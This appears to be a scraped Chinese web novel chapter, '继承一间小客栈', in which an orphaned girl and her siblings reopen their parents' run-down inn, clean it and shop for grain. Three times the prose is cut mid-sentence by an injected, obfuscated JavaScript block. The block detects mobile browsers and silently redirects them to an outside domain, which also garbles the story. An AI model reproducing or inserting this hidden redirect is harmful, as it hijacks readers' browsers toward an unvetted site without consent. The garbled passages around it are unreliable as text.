《继承一间小客栈》 1. 接手荒废客栈 一辆牛车在安阳坊巷口徐徐停下，身形轻巧的少女从车上轻轻一跃，跳了下来。 紧接着，她从车上拎下来一个硕大的包袱，斜挎在薄薄的脊背上，与她瘦削的身形极不相称。 少女恍若未觉身上的重量，抬手擦了擦汗，语气轻快地对车上的人说：“咱们到了。” 牛车上拖了几乎满满一车的草料，大堆草料的中间竟然传出一声稚嫩的童声：“阿姊，咱们到新家了么？” 话音未落，两垛草料当中钻出来一个七八岁的男童，他一手挽着个小包袱，另一手从草垛当中又拖抱出一个年纪更小的女娃娃来。 赶牛车的车夫催促几声，少女周灵不敢耽搁，把弟弟妹妹从车上利索地抱了下来，掏出两个铜板给车夫。 “张叔，俩娃儿还小，加起来还没一人高，能不能……” 周灵冲赶车的张叔讨好一笑，盼着对方能看在同村的份上少收一个铜板，毕竟她如今手上的盘缠实在不多，得精打细算。 “行吧行吧，瞧你们也不容易。”张叔收下那两个铜板，摆摆手示意算了。虽说平日里搭车进城都是按人头每人一铜板，但今日他主要是载草料进城，顺带搭他们姐仨，少收一个子也说得过去。 一鞭子抽在牛屁股上，牛车又晃荡地往前走了。 周灵又擦了擦鬓角的汗，坐牛车来虽不费脚力，但坐在挤挤挨挨的草料当中，也热得人汗湿了半身小衫。 她偏头一瞅方及她肩膀高的弟弟周岩，他的脸也被日头晒得红扑扑，倒是他怀里抱着的妹妹周芸，脸蛋依旧白白嫩嫩。 “小芸身子小，我把她藏在草垛间的影子里，正好晒不着。”周岩扬起脸，露出懂事的笑容。 三岁多的周芸在牛车上颠簸了一路，也未曾哭闹，对着身边熟悉的姐姐和哥哥，童真无邪地笑了起来。 周灵看着身边两个乖巧的弟弟妹妹，烦躁的心思总算有了一丝宽慰。 一月前，她莫名其妙穿越成了古代乡间民女周灵，不仅家徒四壁，且爹娘病入膏肓，相继离世，只留下年幼的弟弟妹妹与她相依为命。面对这样的天崩开局，周灵差点儿想闭着眼往家门前的枯井里一跳，一了百了。 可到底没跳成，那日她在枯井前站了许久，屋里本该酣睡的妹妹周芸不知是否感应到什么，突然醒了过来，爬下床颤颤巍巍地跑了过来，眼泪汪汪地抱着周灵的腿哭—— “阿姊……阿姊……”小小的人儿扁着嘴巴，含糊不清地咕哝着，哭得鼻尖泛红，一抽一抽地，看得人于心不忍。 周灵还没下定决心推开她，就已经下意识把她抱了起来，无奈叹了口气，把哭得可怜的女娃娃带回屋里哄睡了。 周芸睡着后，周灵跳井的心思歇了一半，正犹豫要不要继续时，消失一下午的周岩突然推开门，端着两碗菜粥和窝窝头走了进来。 “阿姊，吃饭了。” 周灵清楚给爹娘办完白事后，家里已经无米下锅了，不禁疑惑地问周岩，哪来的菜粥和窝窝头。 周岩答道他下午去山间挖了些野菜，回来拿野菜跟左邻右舍的婶娘换了些薄粥和窝窝头。 周灵看着眼前的菜粥和窝窝头，忽然鼻翼一酸，觉得心里堵得慌。她闷不吭声地吃完平时觉得难以下咽的窝窝头，先前想抛下弟妹一了百了的念头荡然无存。 不管她过去是谁，但她穿越来这里，占据了他们阿姊的身份，被他们当成真正的家人一般对待，那她也不能轻易地抛下他们，做个懦弱的逃兵。 那日以后，周灵才真正地接纳了自己的身份，一门心思带着两个弟弟妹妹把日子过好来。 乡里的邻舍族亲虽然淳朴心善，时不时愿意接济这孤苦无依的仨姊妹一点口粮，但长久下去，迟早会成为旁人的拖累。 周灵想着，还是得尽早寻到新的出路。 她努力搜寻原身的记忆，想起周家爹娘原是在城中开客栈的，只是后来娘亲生了重病，常年求医问药，客栈疏于打理渐渐凋敝，半年多前周老爹也染了病后，干脆把客栈关了，拖家带口回乡下养病。 心念一转，周灵忽地想起周老爹临终前的一幕，他面朝着衣柜后面喘了半天气，最后话没说完便咽气了…… 周灵立马喊周岩过来，两人一起把衣柜搬开，果然在衣柜后面找到一个四四方方的小木盒。木盒打开，里头竟然有两吊铜钱、一串钥匙和一张发黄的纸。 周灵把两吊铜钱收好，展开那张黄纸，果然是城中那间客栈的地契，这串钥匙想必也是那客栈的钥匙了。 有钱傍身，又有一间客栈在手，周灵宽心了许多，决定带着弟妹去城里安顿下来，把荒废许久的客栈重新开起来。 * 周灵一手牵一个小人儿，三人站在了安阳巷的一处民房前。 “阿姊，这就是……咱家的客栈？”周岩看着破落得连门匾都裂开的客栈，不敢置信地睁大了眼，喃喃低语。 周灵看着眼前的景象也有些迟疑，掏出地契来再次确认是这儿，才掏出钥匙准备开锁。 客栈的大门前栓了一把铜锁，锈得几乎连锁眼都看不清了，周灵捏着钥匙，怼了老半天才把大门的锁打开。 推开门，一股好大的霉味扑面而来，呛得周灵咳嗽几声，周岩周芸也咳得满脸通红。 周灵摆摆手让他们在外头略站一会儿，她去把后门和窗户打开，通通风再进来。 窗户和后门打开后，吹进来干净清新的风，屋子里沉积已久的霉味被风吹散许多。 周灵简单环顾四周，客栈里头还挺大，一楼大堂摆了四套桌椅，柜台正对着大门口，旁边堆放着许多酒坛子，不知是空的还是满的。大堂后面一道门帘通往后厨和小院，门帘边上还有一座木梯往上，估计是通往二楼的客房。 看着是一间布置得井然有序的客栈，只是如今目之所及，桌椅和柜台上积了厚厚一层灰，房梁、桌角处挂了不少白色的蛛网，通往二楼的木梯像泡过水似的，木头朽坏了好几根，看上去颤巍巍地悬在那儿，叫人不敢踩上去。 周灵叹了口气，比想象中更糟，但……既来之则安之，来日方长，这里重整起来，未必不是一间光鲜亮丽的客栈。 周灵四处打量的时候，周岩机灵地从包袱里掏出块旧帕子，把近门的一套桌椅擦干净灰尘，将包袱暂时放在桌上，抱着妹妹坐在凳子上歇口气。 门边忽然探出个脑袋，好奇地打量她们三个，周灵瞧他是个跟周岩差不多大的小孩，正要跟他搭话，他却一溜烟跑没影了。 周灵：…… 可没过两息，隔壁又传来了脚步声，这次来了两个人。 周灵抬头一瞧，正是方才那位溜走的男童，他拉着一个年迈的阿婆走了进来。 “是周家的细伢子回来了？你们阿爹阿娘呢？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478884|169979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周灵上前两步，请阿婆坐下来，告诉她自己爹娘已经离世了，他们几个是回来重整客栈谋生路的。 阿婆闻言喟叹了几声，她记得周家夫妇都是心善淳朴的人，做了吃食时不时会送过来给邻舍老人小孩尝尝。半年前周家夫妇关店返乡的时候，还只说是暂时回去养病，请她代为看顾一下客栈，免遭窃贼。 没想到半年多过去，没等来痊愈的周家夫妇，却听到他们离世的噩耗，还有相依为命的三姐弟。 “好孩子，今后有什么困难就跟我曾阿婆说，阿婆就住在你们隔壁十步远的院子里，阿婆能帮的一定帮。” 周灵从曾阿婆和孙子的穿着上看得出他们也并非家境殷实之人，或许钱财上并不能襄助太多，但他们有这份心已然让她心生感激。 “多谢阿婆，我正想向您讨几碗水喝。”周灵瞧见弟弟妹妹频繁地舔着发白的唇，毫不忸怩地向曾阿婆开口。 曾阿婆忙让孙儿曾玉回去拿水壶和几个茶碗来。 曾玉和周岩差不多个头，周灵怕他一个人拿不动，便让周岩跟过去一起拿来。 周灵和阿婆坐在桌边闲谈，她指着楼梯上朽坏的木头，问道：“阿婆，过去半年里下过很大的雨吗？我看楼梯上的木头都泡坏了，好大一股霉味。” 曾阿婆微阖目想了想，道:“刚入夏的时候，约莫是下了几场大暴雨，有一日半夜还下了场雹子，把我家屋顶都砸漏了……这客栈的屋顶兴许也是被砸漏了，才灌了雨水进来，把木头都泡坏了。” 说到这儿，曾阿婆有些自责，当初只顾上修葺自家屋顶，忘了看顾一下周家的客栈。 周灵宽慰道:“哪能怪您呀，您年纪大了行动不便，客栈前后两扇门又锁上了，自是有心无力。不过我瞧这一楼的桌椅木头倒没怎么朽坏，应该并未淹到一楼，也算是万幸了。” 说话间，曾玉和周岩已经搬来了水壶和茶碗，饮下几碗凉爽的茶水，风尘仆仆赶路的燥热都消下许多。 寒暄过后，曾阿婆领着孙子回家，周灵和周岩也歇息够了，拎起包袱往里走，撸起袖子开始打扫客栈。 首先得给地面四周洒洒水，不然打扫时扬起的灰尘也能把人呛个半死。周灵在客栈后头的小院里找到一口水井，井架上的绳索末端空荡荡地垂在半空。 周灵下意识蹙眉，这水井许久无人用，不会干涸了吧？ 她俯低身子向下望去，昏暗的井底表面积了一层落叶，看不清一丝水花的光亮。 “小岩，帮我去伙房拿个打水的木桶来。” 伙房就在客栈后院的矮房子里，周岩很快跑去拿来了木桶。 周灵接过木桶绑在井架的绳索末端，打了个死结，再转动绞盘，将木桶缓缓下放至井底。 “噗通——” 听到隐约的水声，周灵心底仿佛也被荡出了水花，唇边漾出浅笑。 “这水井能用，往后咱们打水就方便了。”周灵说着，推动绞盘将盛满的水桶徐徐往上拉。 装满水的水桶有些沉，周灵的指甲盖因为用力而微微泛白，周岩忙上前抓着绞盘，跟阿姊一起使劲。 两人齐心协力，将满满一桶水提了上来。周灵望着水桶，有一种踏实的满足感。 她舒了口气，心情也变得乐观起来。尽管眼前还有诸多问题亟待解决，可车到山前必有路，谁说坏的开局，不能有一个好的结果？ 2. 大扫除的收获 地面用水打湿后，空气中扬尘明显少了许多，不会呼吸几口气就鼻子痒得想打喷嚏了。 周灵在后院的杂物间里找到了扫帚簸箕和几块幡布，分给周岩一块打湿的幡布，让他先去把柜台擦干净。 周芸年纪太小，周灵把她抱到靠墙的凳子上坐好，找了两只草编的蚱蜢塞到她怀里：“小芸坐这儿歇息会儿，自己玩一玩，不要乱跑噢。” 周芸冲阿姊甜甜一笑，软糯的童音应了声好。 “真乖。”周灵忍不住抬手掐了把眼前软乎乎的小脸蛋，又嫩又滑，像刚出锅的水豆腐。 周灵意犹未尽地放下这极好的手感，拎起扫帚，先把房梁上倒挂的蛛网扫下来。 客栈的地面铺的是青石砖，尽管有些坑洼了，但还算好清扫，用水冲洗地面，浑浊的水流带走灰尘汇集到门边低洼处，顺着门外的细水沟缓缓淌走。 反复冲上几遍，方才灰扑扑的地面便透出干净的底色，整个大堂瞬间显得亮堂了起来。 周灵满意地翘了翘唇角，洗了块幡布去擦洗桌椅。 刚擦完一套桌椅，便听见周岩唤她：“阿姊你快过来，瞧瞧这是什么……” 周灵擦桌子的手顿住，心下一惊，难不成是发现了大蜘蛛还是大耗子？ 她硬着头皮走过去，诶，原来都不是。周岩是在柜台下面发现了一本破旧的“书”，才喊她过来瞧。 她悬起的心安然落回去，扶额默想：“自己吓自己……” “阿姊，我不识字，上面写的是什么呀？” 周灵翻了翻他递过来的“书”，只见里头蝇头小楷密密麻麻地记录着银子的收支明细，还有米面粮油等物什的采购与消耗情况。 原来这是一本账册。 账册记录到去年年底便截止了，后面都是雪白的空页。 这应该是周老爹关店前的记录，周灵抚过上面的字迹，想起周老爹临终前的嘱托。 他当时没来得及说完的话，应该是想交代她接管客栈的事宜，希望她重振客栈，拉扯大两个幼弟幼妹。 斯人已逝，她如今能做的便是竭尽所能，让客栈顺顺当当地重新开业，完成周老爹的遗愿。她跟周岩简单解释了两句，然后把账册郑重地收起来。 柜台的浮灰被擦净后，露出红木润泽的底色。这柜台大约是当年客栈刚开时打的，当时周家还没因病返贫，舍得花银子打了这红木的柜台，沿用数年依旧光洁如新，摆在这儿颇显贵气。 周岩收拾好柜台，见一楼大堂已经清扫得差不多了，便提了扫帚要往二楼去。 周灵赶忙拦下他：“那木梯坏了，走上去怕摔着人。今日不急着上去住，你去把后院伙房拾掇一下，咱们先在伙房将就几日。” 周岩瞪大了双眼：“伙房？阿姊你确定那能住人吗？” 周灵想起来，周岩之前寄养在乡下姑母家里，对客栈不熟悉，自然不清楚后院伙房里头其实还有一处小隔间。 她领着他往后院去，伙房旁边一扇门，推门进去是杂物间，杂物间尽头一拐，竟还有一条狭小的走道，通往一间不大的卧房，里头摆了几条木板搭出来的简易床架，上面铺着薄薄的草席。 “没想到这儿真能住人啊……平时都是谁在这儿睡呀？”周岩一屁股坐到床边的草席上，感觉到身下的床板硬得咯人。 周灵搜寻原身的记忆，答道：“客栈以前请了伙计跑堂的时候，这里一般是跑堂睡觉的地方，离前后门近，夜里听见动静方便起身开门。后来客栈生意冷清下来，爹娘便没舍得再请帮工，夜里多是阿爹睡在这儿守夜。” 说着，她推开窗户，外头的阳光洒入，隐约的人声鸟鸣也随风飘进来，冷清的小屋被裹挟进了不远处的繁华市井中，多了几分烟火气。 周岩懂事地点点头，想想老爹常在这儿守夜的辛苦，不再抱怨这里简陋的住宿环境，闷不吭声地从包袱里掏出他们从乡下带来的铺盖，摊平在床架草席之上。 草席上垫了一层旧棉絮的薄褥子后，还是硬邦邦，但没那么咯人了。 收拾好晚上睡觉的地方，周岩继续打扫旁边的伙房和杂物间，周灵又返回大堂把剩下的桌椅给擦了。 整整换了五桶水，周灵才把大堂的四套桌椅、楼梯扶手，还有各种犄角嘎达的角落给擦洗干净了。 她洗净手站到门口处，朝里头放眼望去，地面干净光洁，朴素的家具表面擦净后反射出温润的木色光泽，整间客栈焕然一新，洁净得令人心神愉悦。 “怎么样，我打扫完这里漂不漂亮？”周灵心情颇好地逗弄坐在边上的周芸，也不管她听不听得懂话里的意思。 扎着俩冲天辫的小女孩见阿姊笑容满面，也跟着乐呵地笑：“漂亮，漂亮。” 不知在说客栈漂亮，还是阿姊漂亮。 “真是个嘴甜的宝宝。”情绪价值拉满，周灵忍不住挼了挼她的小辫子。 “阿姊，快来看看，这又是什么！”后院传来周岩的呼声，隐隐透着点兴奋。 这小子又发现什么宝贝了？周灵疑惑着，撩开帘子往后院走去。 她在伙房旁的杂物间里找到周岩，见他蹲在地上，好像扒拉着什么东西。 周灵走近了一看，地上搁了块木板，木板下边好像有缝隙，似乎藏了东西。 掀开木板一看，底下竟是一方地窖！ 周灵隐约回想起来，原身的记忆里，伙房旁边的确有一处地窖，平日囤了些耐放的食材。 可周老爹回乡前，基本把能带的东西都带走了，地窖里如今还能剩下什么？ 她正思索着，周岩却耐不住性子，泥鳅一样就要往地窖里钻，她眼疾手快把他拉住了。 “你这莽撞孩子，地窖不能随意下，尤其封闭了那么久的地窖，有可能会闷死人的。” 周灵拉开他，等地窖通风了一阵子，再抛了根点着的木柴下去，见火光没有立即熄灭，才顺着梯子往下走。 周岩也跟在她身后爬了下来。 地窖里昏暗，幸好墙边钉了一盏油灯，周灵掏出火折子点燃，整个地窖便笼罩在昏黄的火光中。 “原来这地窖也没多大啊……”周岩伸展手臂比划，语气略有失望。 周灵失笑：“咱们家又不是地主，还能挖个地库藏宝贝么？” 不过地窖里的确立了三个封口的黑坛子，不知装了什么宝贝疙瘩。 周灵小心揭开其中一个坛子，扑鼻而来一股浓郁的辛酸味，难道什么东西放坏了？ 她揉了揉鼻子凑近一看，暗色的菜疙瘩整齐码放在坛中，浸泡着黄褐色的汁水……这应当是酱菜？ 她让周岩折返去橱柜里取了干净的碗筷过来，夹了一块菜疙瘩出来，谨慎地尝了一小口。 脆爽的酱菜在口中爆开，浓郁咸香的风味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478885|169979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人口齿生津，让空腹干活半天的周灵一下子觉得饥肠辘辘。 这酱菜味道不错，应当没坏，而且还挺开胃的，就粥就饼皆宜，简单凉拌或是跟肉炒，都会是酸香过瘾的下饭好菜。 周岩眼巴巴地望着她瞧，看见她嚼得津津有味的表情，下意识咽了咽口水。 “你肚子咕咕叫呢！”周灵笑着打趣他，转身也夹了一块酱菜给他尝尝。 周岩接过来，迫不及待地塞进口中，一边细嚼一边不服气道：“阿姊，刚才你肚子也咕咕叫了耶……” 周灵：…… 好吧，忙活一下午，骗得过脑子却骗不过自己的胃，本就空载的胃被这开胃爽口的酱菜勾引得，一下子更饥火烧肠。 再尝尝另外两个坛子的咸淡，她就该上去觅食，准备晚饭了。 另两个坛子依次打开尝了尝，也都是酱菜，只是腌的蔬菜不同，一个是酸豆角，另一个是酸萝卜，但都同样酸脆爽口。 周灵每样夹了一小碟，端上去准备配晚饭吃，然后将三个坛子小心封回原样，免得放坏了。 “咦，这是什么……”周灵眼尖地瞥到其中一个坛子下方，好像压住了什么东西。 周灵一下子兴奋起来，她深知藏在这种不起眼的角落里的小玩意，一般都是很有用的线索。 她把坛子抬起来一点，让周岩把底下压着的东西抽出来—— “阿姊，好像是张字条……” 周灵把叠成豆腐块的字条展开来，往油灯下一照，上面记载的竟是制作酱菜的方子！从食材配料到腌制时长都详细写在纸上。 她眼前一亮，惊喜得暂时忘了腹中饥饿。刚才她还暗中发愁，酱菜以后吃完了不知怎么续做，没想到酱菜方子就藏在坛子底下。 周灵把酱菜方子小心收好，熄灭油灯后爬了上去，搬回地窖口的木板挡住入口。 这时天色已经昏暗下来，暮色四沉，街坊邻舍飘过来起灶弄饭的诱人香气，直把人腹里的馋虫往外勾。 包袱里还有从乡下带过来的干粮——三个干得发硬的窝窝头，周灵本想拿这窝窝头蘸酱菜，就着凉白开吃一顿，就算做今晚的晚饭了。 毕竟他们前些日子在乡下，每日都是这么对付着过的，吃糠咽菜是寻常，甚至还没有咸香可口的酱菜。 可附近人家的炊烟里带着蒸米饭的香甜，猪油荤腥的脂香，随晚风飘荡进院子……就显得那几个窝窝头，格外难以下咽。 “阿姊……我们晚上吃什么呀？”周岩试探地问周灵，虽没明说，但看得出被邻居家的饭菜香味馋坏了。 不止是他，连坐在门边凳子上的小丫头，都一边吮手指一边流口水。 “饿啊……阿姊，饿饿……”周芸发出含混的口水音，嗷嗷喊饿。 周灵自然也想吃顿好饭，只是她手里虽还有些铜钱，但此刻天昏日暮，也碰不到卖米面肉菜的集市了……直接去其他食肆里吃一顿，又太奢侈，最好还是能买些食材来自己做，比较精打细算。 她站在客栈门口踌躇片刻，瞧见不远处院子里的炊烟，忽然想起来曾阿婆家就在对面。 她抓了把铜钱揣身上，走过去叩响曾家院落的门，打算花钱从阿婆那买点口粮应应急。 周岩和周芸坐在门口，翘首以盼阿姊带好吃的回来。 不多时，周灵提着几个布口袋，鼓鼓囊囊地回来了。 3. 开业前的准备 曾阿婆家里是普普通通的矮楼小院，儿子儿媳不在家，只有阿婆和孙儿曾玉在一块吃饭。饭食简单，仅有的几块炖肉，阿婆都夹到了孙儿碗里。 周灵进去的时候，看到这样的景象，颇有些不好意思，怕给他们添麻烦了。 她再三表明，自己要拿银钱按市价买一点口粮，可曾阿婆却怎么也不肯收下。 “钱拿回去省着花，别跟阿婆客气。”曾阿婆一边推开递过来的银钱，一边拿了几个布口袋，打开家里储粮的橱柜，把粟米、麦粉、稻米和大豆每样装了一些，甚至还把院子里晒的腊肉割了半块下来，硬塞到周灵怀里。 “往年你爹娘还在的时候，每年过年从乡下回来，都给我带点腊鸡腊鸭，我老婆子也要知恩图报。” 话说到这，再执意给钱，反倒显得见外。周灵索性接过鼓鼓囊囊的布口袋，大大方方道谢。 她打定主意，等客栈顺利开张了，她也时不时拿些好吃的过来给阿婆。礼尚往来，才是人情交往长久不衰的秘诀。 周灵满载而归回到客栈，一一解开布口袋，看得周岩两眼放光。精米白面都有，甚至还有腊肉，自从周家贫病交加后，多少时日不曾吃上这样精细的粮食了！ “小妹，咱们总算能吃顿好的了。”周岩的眼角隐约有反光，他悄悄蹭了蹭妹妹的衣领，又假做无事地笑了起来。 他俩正是长身体的年纪，平日忍饥挨饿受了不少苦，却总忍着不说出来，看着别家孩子吃零嘴，只是眼巴巴望着，口水往肚里咽。 小孩子的反应最是直白，看到眼前几口袋的粮食，他们都忍不住欢呼雀跃，眼睛亮晶晶，嘴角咧得很开，好像忽然就感受不到身体上劳累困顿的酸胀感了。 大家都饿了，周灵一刻也没耽搁，舀出三碗稻米，腊肉切下一半泡水，其余原样收好。 她洗米切腊肉的时候，周岩已经把伙房灶台的火生起来了，涮干净锅后，先烧了一锅水。水开之后，舀出大半盛在一旁晾凉，余下的水用来蒸米饭。 腊肉泡过水之后，表面发白的盐粒溶掉了一些，露出泛着油光的肉色，肥瘦相间，十分诱人。周灵穿越前原本不爱吃肥肉等油腻的东西，但如今太久没尝到肉滋味，她切肉的时候都忍不住吞了吞口水。 她刀工一向不错，抓着把刀口有些钝了的菜刀，也能把腊肉片得薄厚均匀，脂肪层晶莹剔透，泛着蜜色的光泽。 周岩的鼻子很灵，坐在一旁烧火便频频探着脑袋望过来，盯着案板上切好的肉片问：“阿姊，这腊肉你打算怎么做？” 腊肉本就是熟成的肉制品，风味十足，周灵觉得不需要过多的烹饪手法也能做得好吃，她看了眼锅里正在蒸的米饭，道：“等米饭差不多熟了，腊肉直接搁在米饭上一起蒸，这样蒸出来的油脂可以渗到米饭里，米饭也有腊肉咸香的味道了，你觉得怎么样？” 光听她这样一描述，周岩就已经能想到米饭有多香了，他以前老馋同村的王二虎吃的猪油拌饭，今天竟能吃到更好吃的腊肉饭，他忙不迭点头，更卖力地拉起了风箱。 火势一瞬间更猛了些，锅盖边缘冒出蒸腾的白气，带着稻米的甘香。 切好腊肉，周灵拿碟子盛在一旁，顺手把案板洗了，案板旁边的碗里装着方才泡过腊肉的水，她也顺势要倒掉。 “诶别……”周岩忙起身去拦，“这水也有味道的，别可惜了……”他宝贝似的接过水碗，放回灶台上。 周灵：…… 她过去没有这般俭省的习惯，下意识就想给倒掉了。但想想先前在乡下住的时候，许多人家连洗米水都要特意留着，拿来浇花浇菜甚至洗脸。更何况这泡过腊肉的咸水，里头溶了不少盐分，在盐价不菲的古代，自然是不能轻易舍弃的。 “可这泡肉的水没烧开，是生水，吃了容易闹肚子。”周灵劝道，“不如我用酱菜和这碗水，烧份简单的酱菜汤吧。” 周岩点点头同意了，他从前并不知道闹肚子是喝了生水的缘故，村里的人在外干活并不总是带着水囊，大多是就近喝井水甚至溪水，他也有样学样，只是有时会突然闹肚子。 可不知为何，前些日子阿姊忽然就不许他喝生水了，总是叮嘱他水要烧开了再喝。他听话照做，果真没再肚子疼了。 周灵取了些酱菜疙瘩，切碎后用腊肉水打了个汤，虽然瞧着一般，入口却滋味丰富，酱菜的酸香和水中的咸味、腊肉香味混在一起，尝一口就很开胃。 米饭和一菜一汤都做好了，摆在伙房的小桌板上，姐弟妹三人围坐好，便迫不及待地动筷子，不消一刻钟，桌上的饭菜便被吃得精光。 “嗝……今天的米饭特别香，腊肉和酱汤也贼好吃！”周岩捧着空碗，久违地打起了饱嗝，然后小声道：“要是每天都能吃到这样的饭菜就好了……” 周芸在一旁高兴地拍手，学舌地重复：“好吃，好吃！” 两个小孩尚未读书识字，词藻匮乏，只会用单调重复的“好吃”来表达内心的感受，但周灵依旧从他们的眼里读到了真切的欢欣与渴望。 “要是每天都能吃到这样的饭菜就好了……”周岩朴素的愿望在她耳边回荡，令她心中倏然一紧。 老实说，今晚的饭菜绝对算不上丰盛，甚至可以说是简陋。可这样简单的饭食，却成了他们心底小小的盼望。 周灵思量，等客栈开起来后，先不想着能挣千百两的银子这样的宏图志向，首先要能让自家人吃得饱，吃得好。 “傻小子，咱们来客栈的第一天就吃上米饭和腊肉了，往后客栈挣钱了，肯定天天都能吃好的呀，到时候就怕你们嘴都吃刁了，还挑食哩！”周灵打趣着宽慰，实则也是许诺。 周岩挠了挠头，坚决否认：“咋可能嘛姐，有这样的饭菜我还能挑食？我直接变成饭桶！” 周灵但笑不语，一般说这种话的人多半是要被打脸的，她姑且先记下来小老弟放出的大话。 填饱肚子后，眼皮子就开始打架。 周灵揉了揉眼睛，瞧见周岩洗碗时连打了几个哈欠，周芸更是靠着桌沿睡着了，口水淌了半边手臂。 辗转半日进城本就辛苦，当时坐在牛车上又热又颠簸，身子都快摇散架了，打扫整理客栈又累了半日，此刻身体的疲乏感终于如潮水般袭来。 周灵撑着眼皮，把周芸抱到里屋床上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478886|169979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 好在下午已经把铺盖摊好了，三个人暂时睡在一处，床中间用帘子隔开，周岩枕着小包袱睡在靠窗的一侧。 夜色渐深，外头的人声低下去，鸟叫蛙鸣清晰起来。 周灵吹熄蜡烛，给睡在中间的周芸掖了掖被角，额头抵着墙沿睡着了。 * 可能是附近人家没有养鸡的缘故，周灵比平时多睡了一个时辰才醒来，睡足之后神清气爽，起来活动一下筋骨，昨日肌肉酸痛的感觉也基本消散。 她去院子里打水洗漱，心情颇好地哼起了小调。 早上的吃食没有昨晚那般“奢侈”，毕竟腊肉也不够吃。周灵熬了一锅粟米粥，三个干硬的窝窝头掰开来蒸软了，再配一碟酱菜端出来。 窝窝头蒸软之后变得适口，夹着酱菜一裹，再低头喝口香软浓稠的粟米粥，三个人都吃得津津有味。 不得不说，酱菜真的很百搭。周灵一边吃一边感叹，有了这酱菜相佐，寡淡的主食也变得可口多了，这样也不至于浪费了乡下带来的窝窝头。 用过早饭，周岩自觉刷锅洗碗，周芸也跟在后面帮忙。 而周灵独自坐在院子里，杵着下巴发呆。 其实她在思索，客栈开业前该准备什么，开业后该卖些什么，身上仅有的两吊铜钱该如何花销，又能花多久？ 一个个问题萦绕心头，她抬手揉了揉眉心。 托曾阿婆的福，她慷慨赠予的几袋口粮不仅解了昨晚的燃眉之急，也让他们未来半个月里不必为吃食犯愁。 但这点米面豆子用来客栈开业做买卖，自然是不够的，还是要趁早去市集上采买一番。说不定去市集上转转，便知晓该买些什么了，总比坐在这儿空想更好。 周灵换了身衣服，把钱囊藏在不易被偷的夹层里，便准备去城东的集市逛逛，听阿婆说那里的农货比较实惠。 出门前，她乍然想起，周老爹以前的账册上写着米面粮油的采买记录，正好可以看出常见食材的市价如何。 周灵找出账册来翻了一遍，发现客栈以往采买麦粉要比其他谷物更多，这也许意味着，客栈过去的客人更中意吃面食？ 眼下她手中的铜钱不多，周灵翻看完账册，心中已经有了大概的盘算。 出了客栈一直往东走上两里路，便到了城东的集市，果然人头攒动，十分热闹。 两侧商户沿街依次排开，衣食住行相关的各色货品都有出售。此外还有摆摊叫卖的小摊贩，有卖自家编织的土布、篾篓的，或是从附近乡间带来的鸡鸭鹅等家禽渔获的。 最令人垂涎的，要数那些当街叫卖的小吃摊，不论好吃与否，那热气蒸腾的香味就足够勾人。 周灵捂紧了兜里的铜钱，要不是她吃饱了肚子才出门，当下难免要被这些小吃摊给牵绊住。 她加快步子，迅速经过小吃摊，到了一家粮油铺门前。 进门前她瞧了眼门头，偌大的招牌上漆着四个大字“金氏粮铺”。 嚯，好气派。 她此时并不知晓，金氏是这雍都城里最有钱的货商，城里四分之三的大小商户都免不了要跟金家打交道。 4. 白赚五两银子 东市上卖粮油的铺子有三四家，但眼前这家金氏粮铺开得最大，里头摆放的粮食种类也最齐全，因此周灵下意识便走进来了。 柜台后的掌柜正在低头记账，听见动静抬头瞥一眼来客，复又低着头拨珠算账，颇为冷淡的样子。 只有一个年轻伙计迎上前来，主动问周灵要买些什么。 周灵没把掌柜的态度放在心上，她自知衣着寒酸，一瞧便不是掏得起银子的大主顾，自然劳动不了掌柜的花心思迎客。 比起无关紧要的殷勤，她当下更看重的是童叟无欺的价格与好货。 金家铺子里五谷杂粮都有，有今年收获刚磨出的新粮，也有往年囤积的陈粮。不过粮货并没有新陈混卖以次充好，而是依品质好坏分开陈列，一样一个价。 周灵问了伙计一圈价格，并没急着买，而是走出去又转了几家粮油铺子，比较一下，价格总体相差不大，金氏铺子的略高几文，其他都跟周家账册上记载的粮价差不多。 不过其他粮铺的谷物质量参差不齐，有的把潮了的陈粮和新粮掺杂在一起卖，有的是稻谷麦粉里尚有不少未脱干净的糠壳。这样相比起来，金氏略高几文的市价，反倒显得货真价实。 周灵看重粮铺的信誉和质量多过于价钱，于是折返回了先前的金氏粮铺。 她掂了掂钱袋子，走到去年末研磨的麦粉跟前，观察麦粉色泽均匀，没有发霉结块，依旧新鲜，价格又比今年新打的麦粉便宜一些。 金氏伙计说，今年新打的麦粉是180文一斗，而去年底的麦粉是150文一斗。 周灵豪气地挥手，让伙计量了两斗去年的麦粉，又买了粟米、新稻、大豆各三升，和糖盐酱醋等调味料，伙计每样包好后，报上总价：“女郎，这些总共510文。” 